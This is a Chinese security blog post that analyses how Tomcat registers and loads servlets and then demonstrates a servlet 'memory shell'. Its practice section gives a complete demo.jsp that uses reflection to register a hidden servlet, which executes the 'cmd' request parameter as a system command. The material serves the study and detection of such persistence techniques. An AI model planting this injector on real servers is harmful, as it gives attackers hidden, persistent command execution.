Tomcat处理请求和响应流程:
-
什么是servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
-
请求的处理过程
1)客户端发起一个http请求,比如get类型。
2)Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
3)Servlet容器调用HttpServlet的init()方法,init()方法只在第一次请求的时候被调用。
4)Servlet容器调用service()方法。
5)service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
6)doXXX方法中是我们自己写的业务逻辑。
7)业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
8)容器关闭时候,会调用destroy()方法。
-
servlet生命周期
1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该Servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。
2)Servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行。
3)服务器关闭时,销毁这个Servlet对象,执行destroy()方法。
4)由JVM进行垃圾回收。
-
servlet测试实例
配置web.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
meta
>
<!--注册Servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.zack.testServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
创建测试类testServlet.java文件:
package com.zack;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("Servlet Test");
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
访问测试,看到可以正常解析Servlet:
1. 分析Servlet生成
(1)在ContextConfig类的webConfig()方法里读取网站web.xml配置文件信息
(2)跟进configureContext()方法里看到遍历web.xml中的内容,将内容赋给新创建的wrapper
(3)跟进StandardWrapper类的setServletClass()方法,看到类赋值操作
(4)回到ContextConfig类的configureContext()方法将wrapper添加到context中,在1018行看到添加映射关系,将url路径和servlet类做映射
(5)来到StandardContext类的startInternal()方法,判断this.findChildren()为true后开始加载servlet
(6)跟进来到loadOnStartup()方法,在2934行判断loadOnStartup变量是否大于或等于0,如果是就将wrapper添加进list数组中
StandardWrapper类中的loadOnStartup变量值默认为-1
在servlet的配置当中<load-on-startup>1</load-on-startup>的含义是:
-
标记容器是否在启动的时候就加载这个servlet
-
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet
-
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载
-
正数的值越小,启动该servlet的优先级越高
我们要注入内存马,因为没有配置xml所以在应用启动时不会加载servlet,因此需要把优先级调至1,让自己写的servlet可以被加载。
(7)最后在loadOnStartup()方法的2950行和2956行加载遍历list数组中的wrapper
2. Servlet内存马实践
在网站根目录创建demo.jsp内存马生成文件:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};
//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/servlet", name);
%>
Servlet内存马写入完成!
</body>
</html>
启动服务,访问demo.jsp页面生成servlet内存马:
访问/servlet路径看到可以正常调用内存马执行系统命令:
原文始发于微信公众号(ZackSecurity):【Java内存马】Tomcat之Servlet内存马分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论